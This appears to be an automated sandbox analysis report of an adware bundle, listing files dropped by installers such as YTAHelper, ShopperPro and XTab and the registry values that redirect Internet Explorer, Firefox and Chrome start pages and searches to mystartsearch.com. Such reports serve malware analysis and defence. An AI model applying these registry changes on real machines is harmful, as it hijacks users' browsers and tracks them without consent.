C:\Users\"%CurrentUserName%"\AppData\Roaming\Mozilla\Firefox\Profiles\zwvbr04l.default\Extensions\[email protected]\extensionData\plugins\91.js (6772 bytes)
C:\Users\"%CurrentUserName%"\AppData\Roaming\Mozilla\Firefox\Profiles\zwvbr04l.default\Extensions\[email protected]\chrome\content\454cf1d75978cc5c44e70c193fd44f5b.js (6 bytes)
C:\Users\"%CurrentUserName%"\AppData\Roaming\Mozilla\Firefox\Profiles\zwvbr04l.default\Extensions\[email protected]\chrome\content\api\5f34dafb22b2dcd68e32f84a40026deb.js (28 bytes)
C:\Users\"%CurrentUserName%"\AppData\Roaming\Mozilla\Firefox\Profiles\zwvbr04l.default\Extensions\[email protected]\chrome\content\core\84a542322eb027c7b2038da6062d6458.js (5 bytes)
C:\Users\"%CurrentUserName%"\AppData\Roaming\Mozilla\Firefox\Profiles\zwvbr04l.default\Extensions\[email protected]\chrome\content\api\e8f3d29704aee82a42e5a77d82b73294.js (6 bytes)
C:\Users\"%CurrentUserName%"\AppData\Roaming\Mozilla\Firefox\Profiles\zwvbr04l.default\Extensions\[email protected]\skin\button1.png (5 bytes)
C:\Users\"%CurrentUserName%"\AppData\Roaming\Mozilla\Firefox\Profiles\zwvbr04l.default\Extensions\[email protected]\chrome\content\core\01d4db2d5d6e8bd002204d6c2c7087a2.js (12 bytes)
C:\Users\"%CurrentUserName%"\AppData\Roaming\Mozilla\Firefox\Profiles\zwvbr04l.default\Extensions\[email protected]\extensionData\plugins\262.js (5 bytes)
C:\Users\"%CurrentUserName%"\AppData\Roaming\Mozilla\Firefox\Profiles\zwvbr04l.default\Extensions\[email protected]\chrome\content\core\071df326c7af6896dedce8afcf166ee5.js (134 bytes)
C:\Users\"%CurrentUserName%"\AppData\Roaming\Mozilla\Firefox\Profiles\zwvbr04l.default\Extensions\[email protected]\chrome\content\api\39a2e4502ed394d3f48d79820ba98453.js (357 bytes)
C:\Users\"%CurrentUserName%"\AppData\Roaming\Mozilla\Firefox\Profiles\zwvbr04l.default\Extensions\[email protected]\chrome\content\core\187941f97e5c681f04ed5c3daaf041a4.js (20 bytes)
C:\Users\"%CurrentUserName%"\AppData\Roaming\Mozilla\Firefox\Profiles\zwvbr04l.default\Extensions\[email protected]\extensionData\plugins\1.js (22 bytes)
C:\Users\"%CurrentUserName%"\AppData\Roaming\Mozilla\Firefox\Profiles\zwvbr04l.default\Extensions\[email protected]\extensionData\plugins\183.js (6 bytes)
C:\Users\"%CurrentUserName%"\AppData\Roaming\Mozilla\Firefox\Profiles\zwvbr04l.default\Extensions\[email protected]\extensionData\plugins\184.js (5 bytes)
C:\Users\"%CurrentUserName%"\AppData\Roaming\Mozilla\Firefox\Profiles\zwvbr04l.default\Extensions\[email protected]\chrome\content\api\64af443d67f576a1d619f0dc67c2bba3.js (12 bytes)
C:\Users\"%CurrentUserName%"\AppData\Roaming\Mozilla\Firefox\Profiles\zwvbr04l.default\Extensions\[email protected]\extensionData\plugins\78.js (7 bytes)
C:\Users\"%CurrentUserName%"\AppData\Roaming\Mozilla\Firefox\Profiles\zwvbr04l.default\Extensions\[email protected]\chrome\content\f19f2966d90990e2a3ca3017734f431a.js (26 bytes)
C:\Users\"%CurrentUserName%"\AppData\Roaming\Mozilla\Firefox\Profiles\zwvbr04l.default\Extensions\[email protected]\extensionData\plugins\47.js (15 bytes)
C:\Users\"%CurrentUserName%"\AppData\Roaming\Mozilla\Firefox\Profiles\zwvbr04l.default\Extensions\[email protected]\skin\icon16.png (5 bytes)
C:\Users\"%CurrentUserName%"\AppData\Roaming\Mozilla\Firefox\Profiles\zwvbr04l.default\Extensions\[email protected]\chrome\content\core\53ad5ed5de8b1e967d68e7b37f876b17.js (804 bytes)
C:\Users\"%CurrentUserName%"\AppData\Roaming\Mozilla\Firefox\Profiles\zwvbr04l.default\Extensions\[email protected]\extensionData\plugins\28.js (540 bytes)
C:\Users\"%CurrentUserName%"\AppData\Roaming\Mozilla\Firefox\Profiles\zwvbr04l.default\Extensions\[email protected]\extensionData\plugins\200.js (813 bytes)
C:\Users\"%CurrentUserName%"\AppData\Roaming\Mozilla\Firefox\Profiles\zwvbr04l.default\Extensions\[email protected]\extensionData\plugins\207.js (5 bytes)
C:\Users\"%CurrentUserName%"\AppData\Roaming\Mozilla\Firefox\Profiles\zwvbr04l.default\Extensions\[email protected]\chrome\content\search_dialog.xul (6 bytes)
C:\Users\"%CurrentUserName%"\AppData\Roaming\Mozilla\Firefox\Profiles\zwvbr04l.default\Extensions\[email protected]\chrome\content\core\90f7eb9e469e91ac1f0f9d46700d74b8.js (5 bytes)
C:\Users\"%CurrentUserName%"\AppData\Roaming\Mozilla\Firefox\Profiles\zwvbr04l.default\Extensions\[email protected]\chrome\content\core\79da579c841cbf64ff7dfa6825d59903.js (6 bytes)
C:\Users\"%CurrentUserName%"\AppData\Roaming\Mozilla\Firefox\Profiles\zwvbr04l.default\Extensions\[email protected]\chrome\content\dialog.js (5 bytes)
C:\Users\"%CurrentUserName%"\AppData\Roaming\Mozilla\Firefox\Profiles\zwvbr04l.default\Extensions\[email protected]\chrome\content\options.xul (5 bytes)
C:\Users\"%CurrentUserName%"\AppData\Roaming\Mozilla\Firefox\Profiles\zwvbr04l.default\Extensions\[email protected]\chrome\content\api\efc893a504fa3498a3b3f7b776874ffe.js (5 bytes)
C:\Users\"%CurrentUserName%"\AppData\Roaming\Mozilla\Firefox\Profiles\zwvbr04l.default\Extensions\[email protected]\extensionData\plugins\9.js (6 bytes)
C:\Users\"%CurrentUserName%"\AppData\Roaming\Mozilla\Firefox\Profiles\zwvbr04l.default\Extensions\[email protected]\chrome\content\core\e460e993638e4bce5df1994a4d163209.js (7 bytes)
C:\Users\"%CurrentUserName%"\AppData\Roaming\Mozilla\Firefox\Profiles\zwvbr04l.default\Extensions\[email protected]\extensionData\plugins.json (23 bytes)
C:\Users\"%CurrentUserName%"\AppData\Roaming\Mozilla\Firefox\Profiles\zwvbr04l.default\Extensions\[email protected]\chrome\content\core\d0ad522b3b2779c51b369bbd11a5c98f.js (6 bytes)
C:\Users\"%CurrentUserName%"\AppData\Roaming\Mozilla\Firefox\Profiles\zwvbr04l.default\Extensions\[email protected]\skin\skin.css (909 bytes)
C:\Users\"%CurrentUserName%"\AppData\Roaming\Mozilla\Firefox\Profiles\zwvbr04l.default\Extensions\[email protected]\skin\icon128.png (804 bytes)
C:\Users\"%CurrentUserName%"\AppData\Roaming\Mozilla\Firefox\Profiles\zwvbr04l.default\Extensions\[email protected]\skin\update.css (144 bytes)
C:\Users\"%CurrentUserName%"\AppData\Roaming\Mozilla\Firefox\Profiles\zwvbr04l.default\Extensions\[email protected]\extensionData\plugins\17.js (2473 bytes)
C:\Users\"%CurrentUserName%"\AppData\Roaming\Mozilla\Firefox\Profiles\zwvbr04l.default\Extensions\[email protected]\chrome\content\api\8c49bcb60e7c485cb1e753b7f0368f17.js (21 bytes)
C:\Users\"%CurrentUserName%"\AppData\Roaming\Mozilla\Firefox\Profiles\zwvbr04l.default\Extensions\[email protected]\extensionData\plugins\223.js (829 bytes)
C:\Users\"%CurrentUserName%"\AppData\Roaming\Mozilla\Firefox\Profiles\zwvbr04l.default\Extensions\[email protected]\chrome\content\ffCoreFilesIndex.txt (5 bytes)
C:\Users\"%CurrentUserName%"\AppData\Roaming\Mozilla\Firefox\Profiles\zwvbr04l.default\Extensions\[email protected]\extensionData\plugins\221.js (419 bytes)
C:\Users\"%CurrentUserName%"\AppData\Roaming\Mozilla\Firefox\Profiles\zwvbr04l.default\Extensions\[email protected]\extensionData\plugins\177.js (816 bytes)
C:\Users\"%CurrentUserName%"\AppData\Roaming\Mozilla\Firefox\Profiles\zwvbr04l.default\Extensions\[email protected]\chrome\content\background.html (6 bytes)
C:\Users\"%CurrentUserName%"\AppData\Roaming\Mozilla\Firefox\Profiles\zwvbr04l.default\Extensions\[email protected]\chrome\content\api\a5dc13f9b778774991389635e87cf52c.js (5 bytes)
C:\Users\"%CurrentUserName%"\AppData\Roaming\Mozilla\Firefox\Profiles\zwvbr04l.default\Extensions\[email protected]\extensionData\userCode\background.js (640 bytes)
C:\Users\"%CurrentUserName%"\AppData\Roaming\Mozilla\Firefox\Profiles\zwvbr04l.default\Extensions\[email protected]\chrome\content\browser.xul (13 bytes)
C:\Users\"%CurrentUserName%"\AppData\Roaming\Mozilla\Firefox\Profiles\zwvbr04l.default\Extensions\[email protected]\chrome\content\core\a36fd0cb096a95fb82664200691ce57c.js (6 bytes)
C:\Users\"%CurrentUserName%"\AppData\Roaming\Mozilla\Firefox\Profiles\zwvbr04l.default\Extensions\[email protected]\extensionData\plugins\4.js (3410 bytes)
C:\Users\"%CurrentUserName%"\AppData\Roaming\Mozilla\Firefox\Profiles\zwvbr04l.default\Extensions\[email protected]\skin\popup.html (353 bytes)
C:\Users\"%CurrentUserName%"\AppData\Roaming\Mozilla\Firefox\Profiles\zwvbr04l.default\Extensions\[email protected]\extensionData\plugins\14.js (808 bytes)
C:\Users\"%CurrentUserName%"\AppData\Roaming\Mozilla\Firefox\Profiles\zwvbr04l.default\Extensions\[email protected]\chrome\content\api\2abc693edce136b5b851c7f83ff0404e.js (6 bytes)
C:\Users\"%CurrentUserName%"\AppData\Roaming\Mozilla\Firefox\Profiles\zwvbr04l.default\Extensions\[email protected]\chrome\content\92cc70ff20c960dbef55980ab7dc369a.js (804 bytes)
C:\Users\"%CurrentUserName%"\AppData\Roaming\Mozilla\Firefox\Profiles\zwvbr04l.default\Extensions\[email protected]\extensionData\plugins\354.js (5118 bytes)
C:\Users\"%CurrentUserName%"\AppData\Roaming\Mozilla\Firefox\Profiles\zwvbr04l.default\Extensions\[email protected]\chrome\content\core\6386560cbef2dcc28936cd64f6107889.js (5 bytes)
C:\Users\"%CurrentUserName%"\AppData\Roaming\Mozilla\Firefox\Profiles\zwvbr04l.default\Extensions\[email protected]\extensionData\plugins\7.js (689 bytes)
C:\Users\"%CurrentUserName%"\AppData\Roaming\Mozilla\Firefox\Profiles\zwvbr04l.default\Extensions\[email protected]\chrome\content\7624fec8f98ea5a562e5191b03115d81.js (804 bytes)
C:\Users\"%CurrentUserName%"\AppData\Roaming\Mozilla\Firefox\Profiles\zwvbr04l.default\Extensions\[email protected]\extensionData\plugins\263.js (5 bytes)
C:\Users\"%CurrentUserName%"\AppData\Roaming\Mozilla\Firefox\Profiles\zwvbr04l.default\Extensions\[email protected]\extensionData\plugins\373.js (5 bytes)
C:\Users\"%CurrentUserName%"\AppData\Roaming\Mozilla\Firefox\Profiles\zwvbr04l.default\Extensions\[email protected]\extensionData\plugins\246.js (21 bytes)

The process YTAHEL~1.EXE:3184 makes changes in the file system.
The Application creates and/or writes to the following file(s):

%Program Files% (x86)\YTAHelper\FireFox\content\YTAHelper_64.png (4 bytes)
C:\Users\"%CurrentUserName%"\AppData\Local\Temp\nse916.tmp\AccDownload.dll (11667 bytes)
C:\Users\"%CurrentUserName%"\AppData\Local\Temp\nse916.tmp\jsdrv.exe (100669 bytes)
C:\Users\"%CurrentUserName%"\AppData\Local\Temp\nsp906.tmp (133285 bytes)
%Program Files% (x86)\YTAHelper\YTAHelper.exe (32824 bytes)
C:\Users\"%CurrentUserName%"\AppData\Local\Temp\nse916.tmp\System.dll (23 bytes)
%Program Files% (x86)\YTAHelper\FireFox\chrome.manifest (111 bytes)
%Program Files% (x86)\YTAHelper\FireFox\content\overlay.js (13 bytes)
%Program Files% (x86)\YTAHelper\FireFox\content\overlay.xul (203 bytes)
C:\Users\"%CurrentUserName%"\AppData\Local\Temp\nse916.tmp\nsProcess.dll (12 bytes)
%Program Files% (x86)\YTAHelper\JSDriver\jsdrv.sys (1856 bytes)
C:\Users\Public\Documents\YTAHelper\JsDriver\Config.xml (1 bytes)
%Program Files% (x86)\YTAHelper\SPRemove.exe (17848 bytes)
%Program Files% (x86)\YTAHelper\FireFox\install.rdf (884 bytes)
%Program Files% (x86)\YTAHelper\yta_database1_0_0.json (2 bytes)
C:\Users\"%CurrentUserName%"\AppData\Local\Temp\nse916.tmp\MoreInfo.dll (15 bytes)
%Program Files% (x86)\YTAHelper\YTAHelper.dll (15168 bytes)
%Program Files% (x86)\YTAHelper\JSDriver\jsdrv.exe (100378 bytes)
C:\Users\"%CurrentUserName%"\AppData\Local\Temp\nse916.tmp\nsExec.dll (14 bytes)
%Program Files% (x86)\YTAHelper\YTAHelper64.dll (17848 bytes)
%Program Files% (x86)\YTAHelper\FireFox\content\shopperpro_128.png (5 bytes)

The process DCytaiesmt_smtyc_setup.exe:3680 makes changes in the file system.
The Application creates and/or writes to the following file(s):

C:\Users\"%CurrentUserName%"\AppData\Local\Temp\Install_22392\ins_postInst.exe (4103 bytes)
C:\Users\"%CurrentUserName%"\AppData\Local\Temp\Install_22392\ins_yta.exe (28491 bytes)

The process cscript.exe:1472 makes changes in the file system.
The Application creates and/or writes to the following file(s):

C:\Users\"%CurrentUserName%"\AppData\Local\WebPlayer\AppsHat\scripts\default_config.json (791 bytes)
C:\Users\"%CurrentUserName%"\AppData\Local\Microsoft\Windows\Temporary Internet Files\Content.IE5\ROWYV75Q\64x64[1].ico (7345 bytes)
C:\Users\"%CurrentUserName%"\Desktop\AppsHat.lnk (2 bytes)
C:\Users\"%CurrentUserName%"\AppData\Local\Microsoft\Windows\Temporary Internet Files\Content.IE5\046C1ZNT\config[1].json (778 bytes)
C:\Users\"%CurrentUserName%"\AppData\Local\WebPlayer\AppsHat\icons\main.ico (1 bytes)
C:\Users\"%CurrentUserName%"\AppData\Local\WebPlayer\AppsHat\scripts\config.xml (819 bytes)
C:\Users\"%CurrentUserName%"\AppData\Local\WebPlayer\Uninstall.exe (65 bytes)
C:\Users\"%CurrentUserName%"\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\AppsHat\Uninstall.lnk (2 bytes)
C:\Users\"%CurrentUserName%"\AppData\Local\WebPlayer\AppsHat\icons\shortcut.ico (6242 bytes)
C:\Users\"%CurrentUserName%"\AppData\Local\WebPlayer\AppsHat\icons\tray.ico (1 bytes)
C:\Users\"%CurrentUserName%"\AppData\Local\WebPlayer\AppsHat\WebPlayer.exe (204 bytes)
C:\Users\"%CurrentUserName%"\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\AppsHat\AppsHat.lnk (2 bytes)
C:\Users\"%CurrentUserName%"\AppData\Local\Microsoft\Windows\Temporary Internet Files\Content.IE5\783GTYVS\16x16[1].ico (1150 bytes)

The process spbiu.exe:3804 makes changes in the file system.
The Application creates and/or writes to the following file(s):

C:\ProgramData\ShopperPro\spbihe.js (435 bytes)

The process spbiu.exe:3956 makes changes in the file system.
The Application creates and/or writes to the following file(s):

C:\ProgramData\ShopperPro\spbihe.js (435 bytes)
C:\Windows\Temp\SPBI_cache_iexplore.exe.cache (1032 bytes)
%Program Files%\Common Files\ShopperPro\spbia.exe (327 bytes)

The process XTab_v4.0.exe:2044 makes changes in the file system.
The Application creates and/or writes to the following file(s):

%Program Files% (x86)\XTab\web\img\googlelogo.png (7 bytes)
%Program Files% (x86)\XTab\web\js\jquery-1.11.0.min.js (4726 bytes)
%Program Files% (x86)\XTab\skin\btn.png (2 bytes)
%Program Files% (x86)\XTab\install.data (68 bytes)
%Program Files% (x86)\XTab\web\_locales\zh-CN\messages.json (3 bytes)
%Program Files% (x86)\XTab\web\_locales\en-US\messages.json (3 bytes)
%Program Files% (x86)\XTab\HPNotify.exe (18027 bytes)
%Program Files% (x86)\XTab\conf (1606 bytes)
%Program Files% (x86)\XTab\web\img\loading.gif (5 bytes)
%Program Files% (x86)\XTab\BrowerWatchFF.dll (23 bytes)
%Program Files% (x86)\XTab\web\_locales\es-419\messages.json (3 bytes)
%Program Files% (x86)\XTab\web\indexIE8.html (1816 bytes)
%Program Files% (x86)\XTab\web\js\library.js (4216 bytes)
%Program Files% (x86)\XTab\web\_locales\pt\messages.json (4 bytes)
%Program Files% (x86)\XTab\web\img\arrow.png (259 bytes)
%Program Files% (x86)\XTab\web\ver.txt (5 bytes)
%Program Files% (x86)\XTab\web\_locales\fr-BE\messages.json (3 bytes)
%Program Files% (x86)\XTab\skin\input_bk.png (2 bytes)
%Program Files% (x86)\XTab\web\_locales\pl\messages.json (3 bytes)
%Program Files% (x86)\XTab\web\_locales\it-IT\messages.json (4 bytes)
%Program Files% (x86)\XTab\skin\conf_back.png (1623 bytes)
%Program Files% (x86)\XTab\web\_locales\fr-CA\messages.json (3 bytes)
%Program Files% (x86)\XTab\web\img\weather\0.png (1 bytes)
%Program Files% (x86)\XTab\skin\btn_apply.png (6 bytes)
%Program Files% (x86)\XTab\skin\conf.xml (8 bytes)
%Program Files% (x86)\XTab\CmdShell.exe (1681 bytes)
%Program Files% (x86)\XTab\web\indexIE.html (1 bytes)
%Program Files% (x86)\XTab\web\_locales\ru-MO\messages.json (4 bytes)
%Program Files% (x86)\XTab\web\js\xagainit-ie8.js (3 bytes)
%Program Files% (x86)\XTab\skin\about_bk.png (1436 bytes)
%Program Files% (x86)\XTab\web\_locales\es-ES\messages.json (3 bytes)
%Program Files% (x86)\XTab\skin\main.xml (4 bytes)
%Program Files% (x86)\XTab\web\img\default_add_logo_hover.png (1 bytes)
%Program Files% (x86)\XTab\BrowserAction.dll (33992 bytes)
%Program Files% (x86)\XTab\skin\radio_2.png (3 bytes)
%Program Files% (x86)\XTab\msvcr110.dll (22156 bytes)
%Program Files% (x86)\XTab\searchProvider.xml (8 bytes)
%Program Files% (x86)\XTab\web\_locales\it-CH\messages.json (3 bytes)
%Program Files% (x86)\XTab\ProtectService.exe (5471 bytes)
%Program Files% (x86)\XTab\web\js\js.js (18 bytes)
%Program Files% (x86)\XTab\ffsearch_toolbar!1.0.0.1025.xpi (14 bytes)
%Program Files% (x86)\XTab\web\img\default_add_logo.png (1 bytes)
%Program Files% (x86)\XTab\skin\logo.png (5 bytes)
C:\Users\"%CurrentUserName%"\AppData\Local\Temp\nskCBE7.tmp\System.dll (23 bytes)
%Program Files% (x86)\XTab\web\js\xagainit.js (3 bytes)
%Program Files% (x86)\XTab\web\img\googlelogo2.png (1526 bytes)
%Program Files% (x86)\XTab\web\main.css (19 bytes)
%Program Files% (x86)\XTab\web\_locales\vi-VI\messages.json (4 bytes)
%Program Files% (x86)\XTab\web\_locales\ru\messages.json (4 bytes)
%Program Files% (x86)\XTab\web\img\icon48.png (3 bytes)
%Program Files% (x86)\XTab\skin\close.png (3 bytes)
%Program Files% (x86)\XTab\web\data.html (20 bytes)
%Program Files% (x86)\XTab\web\img\logo32.ico (4 bytes)
%Program Files% (x86)\XTab\web\img\icon128.png (9 bytes)
%Program Files% (x86)\XTab\web\js\jquery.autocomplete.js (12 bytes)
%Program Files% (x86)\XTab\uninstall.exe (1343 bytes)
%Program Files% (x86)\XTab\skin\about.png (4 bytes)
%Program Files% (x86)\XTab\BrowerWatchCH.dll (23 bytes)
%Program Files% (x86)\XTab\web\_locales\fr-FR\messages.json (3 bytes)
%Program Files% (x86)\XTab\web\img\icon16.png (628 bytes)
%Program Files% (x86)\XTab\web\_locales\fr-CH\messages.json (3 bytes)
%Program Files% (x86)\XTab\skin\settings.png (5 bytes)
%Program Files% (x86)\XTab\web\img\default_logo.png (5 bytes)
%Program Files% (x86)\XTab\web\_locales\fr-LU\messages.json (3 bytes)
%Program Files% (x86)\XTab\web\js\xagainit2.0.js (3 bytes)
%Program Files% (x86)\XTab\web\js\ga.js (1568 bytes)
%Program Files% (x86)\XTab\web\js\common.js (2 bytes)
%Program Files% (x86)\XTab\web\_locales\tr-TR\messages.json (4 bytes)
%Program Files% (x86)\XTab\SupTab.dll (6812 bytes)
%Program Files% (x86)\XTab\web\js\ie8.js (156 bytes)
%Program Files% (x86)\XTab\IeWatchDog.dll (20 bytes)
%Program Files% (x86)\XTab\web\_locales\pt-BR\messages.json (4 bytes)
%Program Files% (x86)\XTab\web\img\google_trends.png (7 bytes)
%Program Files% (x86)\XTab\web\_locales\zh-TW\messages.json (3 bytes)
%Program Files% (x86)\XTab\skin\rigth_arrow.png (2 bytes)
%Program Files% (x86)\XTab\msvcp110.dll (17526 bytes)
%Program Files% (x86)\XTab\skin\radio_1.png (3 bytes)

The process 4AD7.tmp:3976 makes changes in the file system.
The Application creates and/or writes to the following file(s):

C:\Users\"%CurrentUserName%"\AppData\Local\Temp\~F0A9.tmp (10 bytes)
C:\Users\"%CurrentUserName%"\AppData\Local\Temp\_isEF3F.tmp (345 bytes)
C:\Users\"%CurrentUserName%"\AppData\Local\Temp\{7E04AEDD-67C2-4B22-BFCA-2A2574D3D952}\easyburner.msi (55707 bytes)
C:\Users\"%CurrentUserName%"\AppData\Local\Temp\_isEF50.tmp (77 bytes)
C:\Users\"%CurrentUserName%"\AppData\Local\Temp\{7E04AEDD-67C2-4B22-BFCA-2A2574D3D952}\Windows Imaging Component (x86).prq (1 bytes)
C:\Users\"%CurrentUserName%"\AppData\Local\Temp\{7E04AEDD-67C2-4B22-BFCA-2A2574D3D952}\Windows Installer 3.1 for Windows Server 2003 SP1 (x64).prq (1 bytes)
C:\Users\"%CurrentUserName%"\AppData\Local\Temp\_isF006..dll (15945 bytes)
C:\Users\"%CurrentUserName%"\AppData\Local\Temp\_isF037..dll (15945 bytes)
C:\Users\"%CurrentUserName%"\AppData\Local\Temp\{7E04AEDD-67C2-4B22-BFCA-2A2574D3D952}\Windows Installer 3.1 (x86).prq (1 bytes)
C:\Users\"%CurrentUserName%"\AppData\Local\Microsoft\Windows\Temporary Internet Files\Content.IE5\F7QBP14P\easyburner[1].msi (2317485 bytes)
C:\Users\"%CurrentUserName%"\AppData\Local\Temp\{7E04AEDD-67C2-4B22-BFCA-2A2574D3D952} (4 bytes)
C:\Users\"%CurrentUserName%"\AppData\Local\Temp\_isEF73.tmp (705 bytes)
C:\Users\"%CurrentUserName%"\AppData\Local\Temp\{7E04AEDD-67C2-4B22-BFCA-2A2574D3D952}\Windows Installer 3.1 for Windows Server 2003 SP1 (IA64).prq (1 bytes)
C:\Users\"%CurrentUserName%"\AppData\Local\Temp\_isEFD3.tmp (667 bytes)
C:\Users\"%CurrentUserName%"\AppData\Local\Temp\{7E04AEDD-67C2-4B22-BFCA-2A2574D3D952}\_ISMSIDEL.INI (31406 bytes)
C:\Users\"%CurrentUserName%"\AppData\Local\Temp\_isEFD4..dll (15945 bytes)
C:\Users\"%CurrentUserName%"\AppData\Local\Temp\~EF4F.tmp (10 bytes)
C:\Users\"%CurrentUserName%"\AppData\Local\Temp\_isF098.tmp (77 bytes)
C:\Users\"%CurrentUserName%"\AppData\Local\Temp\{7E04AEDD-67C2-4B22-BFCA-2A2574D3D952}\Windows Installer 3.1 for Windows XP (x64).prq (1 bytes)
C:\Users\"%CurrentUserName%"\AppData\Local\Temp\{7E04AEDD-67C2-4B22-BFCA-2A2574D3D952}\Windows Imaging Component (x64).prq (1 bytes)
C:\Users\"%CurrentUserName%"\AppData\Local\Temp\{7E04AEDD-67C2-4B22-BFCA-2A2574D3D952}\0x0409.ini (784 bytes)
C:\Users\"%CurrentUserName%"\AppData\Local\Temp\_isEF62.tmp (77 bytes)
C:\Users\"%CurrentUserName%"\AppData\Local\Temp\_isF057.tmp (647 bytes)
C:\Users\"%CurrentUserName%"\AppData\Local\Temp\{7E04AEDD-67C2-4B22-BFCA-2A2574D3D952}\Setup.INI (10 bytes)
C:\Users\"%CurrentUserName%"\AppData\Local\Temp\_isF026.tmp (668 bytes)
C:\Users\"%CurrentUserName%"\AppData\Local\Temp\_isEFC3.tmp (692 bytes)
C:\Users\"%CurrentUserName%"\AppData\Local\Temp\~EF61.tmp (10 bytes)
C:\Users\"%CurrentUserName%"\AppData\Local\Temp\{7E04AEDD-67C2-4B22-BFCA-2A2574D3D952}\Windows Installer 3.1 for Windows Server 2003 SP1 (x86).prq (1 bytes)
C:\Users\"%CurrentUserName%"\AppData\Local\Temp\~F097.tmp (10 bytes)
C:\Users\"%CurrentUserName%"\AppData\Local\Temp\_isEF3E.tmp (77 bytes)
C:\Users\"%CurrentUserName%"\AppData\Local\Temp\_isEF74..dll (15945 bytes)
C:\Users\"%CurrentUserName%"\AppData\Local\Temp\_isF005.tmp (671 bytes)
C:\Users\"%CurrentUserName%"\AppData\Local\Temp\_isEFF4.tmp (672 bytes)
C:\Users\"%CurrentUserName%"\AppData\Local\Temp\_isF058..dll (15945 bytes)
C:\Users\"%CurrentUserName%"\AppData\Local\Temp\_isF0AA.tmp (77 bytes)

The process taskeng.exe:4092 makes changes in the file system.
The Application creates and/or writes to the following file(s):

%Program Files% (x86)\ShopperPro\JSDriver\1499.0.0.0\jsdrv.exe (291 bytes)

The process ytaiesmt_smtyc_setup.exe:3416 makes changes in the file system.
The Application creates and/or writes to the following file(s):

C:\Users\"%CurrentUserName%"\AppData\Local\Temp\nsuC534.tmp (4 bytes)
C:\Users\"%CurrentUserName%"\AppData\Local\Temp\nsuC534.tmp\System.dll (23 bytes)
C:\Users\"%CurrentUserName%"\AppData\Local\Temp\nsuC534.tmp\NK.lky (16 bytes)
C:\Users\"%CurrentUserName%"\AppData\Local\Temp\nsuC533.tmp (34417 bytes)
C:\Users\"%CurrentUserName%"\AppData\Local\Temp\nsuC534.tmp\DCytaiesmt_smtyc_setup.exe (379403 bytes)
C:\Users\"%CurrentUserName%"\AppData\Local\Temp\nsuC534.tmp\CCDD5858CA6C4A7A (34773 bytes)
C:\Users\"%CurrentUserName%"\AppData\Local\Temp\nsuC534.tmp\D1989.dll (30 bytes)

The process jsdrv.exe:3472 makes changes in the file system.
The Application creates and/or writes to the following file(s):

C:\Users\Public\Documents\ShopperPro\JsDriver\Config.xml (6 bytes)
C:\Users\"%CurrentUserName%"\AppData\Roaming\Microsoft\Windows\Cookies\D8WFPCG6.txt (136 bytes)
C:\Users\"%CurrentUserName%"\AppData\Roaming\Microsoft\Windows\Cookies\2EQ09383.txt (95 bytes)

Registry activity

The process BaofengUpdate.exe:1768 makes changes in the system registry.
The Application creates and/or sets the following values in system registry:

[HKCU\Software\Classes\Local Settings\MuiCache\29\52C64B7E]
"LanguageList" = "en-US, en"

[HKCU\Software\Mozilla\Extends]
"AppID" = "[email protected]"

[HKLM\SOFTWARE\Microsoft\Internet Explorer\SearchScopes]
"DefaultScope" = "{33BB0A4E-99AF-4226-BDF6-49120163DE86}"

[HKLM\SOFTWARE\Wow6432Node\Microsoft\Internet Explorer\MAIN]
"Search Page" = "http://www.mystartsearch.com/web/?type=ds&ts=1423719204&from=smt&uid=535559167_198339_B48A115F&q={searchTerms}"

[HKLM\SOFTWARE\Wow6432Node\Microsoft\Internet Explorer\SearchScopes\{33BB0A4E-99AF-4226-BDF6-49120163DE86}]
"URL" = "http://www.mystartsearch.com/web/?type=ds&ts=1423719204&from=smt&uid=535559167_198339_B48A115F&q={searchTerms}"

[HKLM\SOFTWARE\Wow6432Node\Microsoft\Internet Explorer\MAIN]
"Default_Search_URL" = "http://www.mystartsearch.com/web/?type=ds&ts=1423719204&from=smt&uid=535559167_198339_B48A115F&q={searchTerms}"

[HKLM\SOFTWARE\Clients\StartMenuInternet\FIREFOX.EXE\shell\open\command]
"(Default)" = "%Program Files% (x86)\Mozilla Firefox\firefox.exe http://www.mystartsearch.com/?type=sc&ts=1423719204&from=smt&uid=535559167_198339_B48A115F"

[HKLM\SOFTWARE\Wow6432Node\Microsoft\Windows\CurrentVersion\Uninstall\mystartsearch uninstall]
"DisplayName" = "mystartsearch uninstall"

[HKLM\SOFTWARE\Wow6432Node\Microsoft\Internet Explorer\SearchScopes\{33BB0A4E-99AF-4226-BDF6-49120163DE86}]
"DisplayName" = "mystartsearch"

[HKCU\Software\Microsoft\Internet Explorer\SearchScopes\{33BB0A4E-99AF-4226-BDF6-49120163DE86}]
"URL" = "http://www.mystartsearch.com/web/?type=ds&ts=1423719204&from=smt&uid=535559167_198339_B48A115F&q={searchTerms}"

[HKCU\Software\Classes\Local Settings\MuiCache\29\52C64B7E\@""%systemroot%\system32\windowspowershell\v1.0]
"powershell.exe"",-111" = "Performs object-based (command-line) functions"

[HKCU\Software\Mozilla\Extends]
"UID" = "535559167_198339_B48A115F"

[HKLM\SOFTWARE\Wow6432Node\Microsoft\Internet Explorer\MAIN]
"Start Page" = "http://www.mystartsearch.com/?type=hp&ts=1423719204&from=smt&uid=535559167_198339_B48A115F"

[HKLM\SOFTWARE\Microsoft\Internet Explorer\Main]
"Default_Search_URL" = "http://www.mystartsearch.com/web/?type=ds&ts=1423719204&from=smt&uid=535559167_198339_B48A115F&q={searchTerms}"

[HKLM\SOFTWARE\Wow6432Node\Microsoft\Internet Explorer\MAIN]
"Default_Page_URL" = "http://www.mystartsearch.com/?type=hp&ts=1423719204&from=smt&uid=535559167_198339_B48A115F"

[HKLM\SOFTWARE\Clients\StartMenuInternet\VMWAREHOSTOPEN.EXE\shell\open\command]
"(Default)" = "%Program Files%\VMware\VMware Tools\VMwareHostOpen.exe http://www.mystartsearch.com/?type=sc&ts=1423719204&from=smt&uid=535559167_198339_B48A115F"

[HKLM\SOFTWARE\Wow6432Node\Microsoft\Windows\CurrentVersion\Uninstall\mystartsearch uninstall]
"UninstallString" = "C:\Users\"%CurrentUserName%"\AppData\Roaming\mystartsearch\UninstallManager.exe -ptid=smt"

[HKLM\SOFTWARE\Wow6432Node\mystartsearchSoftware\mystartsearchhp]
"Time" = "Type: REG_QWORD, Length: 8"

[HKLM\SOFTWARE\Clients\StartMenuInternet\Google Chrome\shell\open\command]
"(Default)" = "%Program Files% (x86)\Google\Chrome\Application\chrome.exe http://www.mystartsearch.com/?type=sc&ts=1423719204&from=smt&uid=535559167_198339_B48A115F"

[HKCU\Software\Microsoft\Internet Explorer\SearchScopes]
